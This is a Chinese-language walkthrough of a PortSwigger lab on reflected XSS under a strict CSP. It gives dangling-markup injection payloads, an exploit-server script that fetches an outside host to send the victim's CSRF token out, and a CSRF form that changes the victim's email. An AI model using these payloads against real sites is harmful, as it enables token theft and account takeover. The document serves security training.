专家-内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击
# 实验室:内容安全策略-受到非常严格CSP保护的反射型XSS-悬挂标记攻击
# 题目
此实验室使用严格的 CSP 阻止对外部网站的发出请求。
若要解决实验室问题,请先执行跨站脚本攻击,该攻击绕过 CSP 并使用 Burp Collaborator 泄露受害模拟用户的 CSRF 令牌。然后,你需要将模拟用户的电子邮件地址更改为hacker@evil-user.net
。
你必须使用单词 “Click” 来标记你的向量,以诱使模拟用户单击它。例如:
<a href="">Click me</a>
你可以使用以下凭据登录到自己的帐户:wiener:peter
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任何外部系统之间的交互。要解决实验室问题,必须使用 实验室中提供的漏洞利用服务器 或 Burp Collaborator 的默认公共服务器。
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
(((译者加:题目中第二个提示的意思是,每个账户之间的电子邮件地址不能重复。比如你的账户邮箱是a@b.c
,然后在漏洞利用代码里也写了a@b.c
,试图把受害者的邮箱改为a@b.c
,但由于你已经使用了这个邮箱,所以会导致攻击失败。在漏洞利用代码中,你应该使用一个不会重复的邮箱地址,例如x@y.z
。)))
- name: 实验室-专家
desc: 内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
# 寻找XSS
点击任意 “View post” 进入一篇文章。
来到评论区,提交几个评论。嗯?有过滤?
可能 XSS 的点不在评论区吧。
来到登录界面,输入题目中提供的用户名和密码进行登录。
登录之后,在账户页面中可以看到一个 邮箱更改 功能。
XSS 的点一定就在这里。
......
......
......
不是,怎么又过滤了,我 XSS 呢?
(然后在网站到处寻找,未发现 XSS 漏洞......)
好嘛,还没开始就结束了(我是大fw)。
# 构造载荷-1(实现悬挂标记注入)
然后我瞄了一部分答案......
好嘛,在账户页面藏了一个 GET 参数email
,参数值会实时反馈在输入框中。
我之前还扫描了站点,硬是没发现这个 GET 参数,藏的挺深啊,脑经急转弯是吧(哭)。
(更改邮箱时请求路径/my-account/change-email
,带有一个 POST 参数email
,但与这无关)
尝试闭合原有属性,脱离原有标签,成功。
"><img src=1>
根据悬挂标记注入技术,构造相应的载荷,试图包含并将 CSRF token 发送至 Burp Collaborator:
"><img src="//vgfnvwpk4negku5o0j5716nx9off35ru.oastify.com%3f
失败,注入的<img src="
遇到了原有的">
,被闭合了。
受限于悬挂标记技术,又无法优雅地闭合原有的">
,怎么办?
既然注入的双引号 会被原有的">
闭合,那注入单引号呢?
"><img src='//vgfnvwpk4negku5o0j5716nx9off35ru.oastify.com%3f
注入成功,CSRF token 被正确包含在了src
属性中。
但,img
标签受到网站 CSP 的限制,无法加载外部src
属性。
如图,执行限制的 CSP 规则为base-url 'none'
。
# 构造载荷-2(绕过限制性CSP)
幸运的是,PortSwigger Research 的文章 (opens new window)中介绍了另一种技术,可以绕过限制性的 CSP(本站有文章翻译版本)。
首先,进入漏洞利用服务器,并将 Body 替换为以下内容:
<script>
alert("The extracted contents is:" + name);
</script>
2
3
以上代码用于打印捕获的数据,也就是window.name
。
然后访问漏洞利用 URL,设置的 JavaScript 被正确执行,在网页中可以看到一个警告框,但此时的window.name
数据为空。
文章中提供了一段代码:
以下代码创建了一个a
标签,并使用<base target="blah
标签来捕获之后的数据,这和<img src="blah
如出一辙。在点击a
标签之后,捕获的数据将会被包含在window.name
中,并跳转至攻击者的服务器。
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="blah
以上载荷需要细微调整:
- 添加
">
以闭合上下文中的原字符串和标签 - 将
href
属性修改为漏洞利用 URL - 将
target
属性的双引号"
修改为单引号'
,至于为什么使用单引号,上文中有提到
"><a href=https://<你的漏洞利用服务器>/exploit><font size=100 color=red>You must click me</font></a><base target='blah
/my-account?email="><a href=https://<你的漏洞利用服务器>/exploit><font size=100 color=red>You must click me</font></a><base target='blah
2
3
进入账户页面,在email
参数中注入调整后的载荷,网页正确呈现了一个超链接。并且target
属性成功捕获了其后的数据,其中就包含 CSRF token。
在点击超链接之后,target
属性的值会被包含在window.name
中,然后跳转至漏洞利用服务器,打印window.name
:
以下是一个动图(载荷的攻击效果):
# 构造载荷-3(捕获受害者的token)
在上一节中,虽然成功通过alert
打印出了 CSRF token,但当受害者点击超链接时,我们无法看到他的屏幕,也就无法获得其 CSRF token。
因此需要替换 alert 函数,想办法将受害者一方的 CSRF token 发送到我们所控制的服务器上。
在这里,我选择使用fetch
函数来发起网络请求,将受害者的 CSRF token 发送至漏洞利用服务器。
<script>
fetch("https://<你的漏洞利用服务器>/?a=" + name)
</script>
2
3
点击 “Store” 保存以上代码,然后点击 “Access log” 进入日志界面。
然后,我们回到账户页面,再次点击超链接,触发悬挂标记攻击。
再次点击之后,在日志界面中进行查看。
如图,成功收到请求,捕获的数据被包含在了 URL 查询参数当中。
进行 URL 解码后:
# 构造载荷-4(优化捕获代码)
优化后的代码,添加了if
语句进行判断:
- 如果存在
window.name
数据,则调用fetch
函数将其发送到漏洞利用服务器 - 如果不存在
window.name
数据,则将受害者重定向到账户页面,该账户页面被注入了 “带有悬挂标记攻击的载荷”,诱使受害者点击超链接
<script>
if (name) {
fetch("https://<你的漏洞利用服务器>/?a=" + name)
} else {
window.location = "https://<你的实验室>/my-account?email=123123%22%3E%3Ca%20href=https://<你的漏洞利用服务器>/exploit%3E%3Cfont%20size=100%20color=red%3EYou%20must%20click%20me%3C/font%3E%3C/a%3E%3Cbase%20target=%27blah";
}
</script>
2
3
4
5
6
7
点击 “Store” 保存以上代码,然后点击 “Deliver exploit to victim” 将其发送给受害者。
随后,收到了来自受害者的请求,但其中并没有关于exploit?a=...
的请求。
受害者已经点击了 “带有悬挂标记攻击的载荷”,但却没有发出带有 CSRF token 的请求,为什么?
后来看了答案,发现受害者的所携带的数据 比较特殊,需要进行 URL 编码之后才能发送。
调整代码,使用encodeURIComponent
函数为window.name
进行 URL 编码。
<script>
if (name) {
fetch("https://<你的漏洞利用服务器>/?a=" + encodeURIComponent(name))
} else {
window.location = "https://<你的实验室>/my-account?email=123123%22%3E%3Ca%20href=https://<你的漏洞利用服务器>/exploit%3E%3Cfont%20size=100%20color=red%3EYou%20must%20click%20me%3C/font%3E%3C/a%3E%3Cbase%20target=%27blah";
}
</script>
2
3
4
5
6
7
保存之后,再次发送给受害者。
这次成功收到了带有 CSRF token 的请求。
获得受害者的 token:Uagkg4QaH958ROYgE0NWkbC1TJ9xhwoB
。
对受害者的数据进行 URL 解码,与我自己点击后收到的数据进行对比,发现受害者的数据中多了几个回车符%0A
,难怪,不编码的话不给发送。
# 执行CSRF攻击
获得受害者的 CSRF token 之后,下一步是进行 CSRF 攻击并更改受害者邮箱地址。
首先,用自己的账号更改一次邮箱,并捕获 更改邮箱 的请求数据包,然后在 BurpSuite 中 “右键 --> Engagement tools --> Generate CSRF PoC” 生成一个 CSRF 的攻击载荷。
下方的窗格 “CSRF HTML” 中包含了本次生成的 CSRF 载荷,我们可以点击 “Copy HTML” 进行复制。
然后对复制的 CSRF 载荷进行一些调整:
- 将
email
参数修改为一个未被占用的地址,例如x@y.z
,防止邮箱重复导致更改失败 - 将
csrf
参数修改为受害者的 CSRF token
<form action="https://<你的实验室>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="x@y.z" />
<input type="hidden" name="csrf" value="Uagkg4QaH958ROYgE0NWkbC1TJ9xhwoB" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
2
3
4
5
6
7
8
9
保存以上代码,然后发送给受害者。
点击发送之后,实验室直接提示我们完成了实验。
此时,我可以将邮箱地址更改为admin@normal-user.net
,成功夺取了管理员的邮箱地址。
尝试将邮箱地址修改为x@y.z
,但提示被占用,说明受害者正在使用这个地址。
实验完成。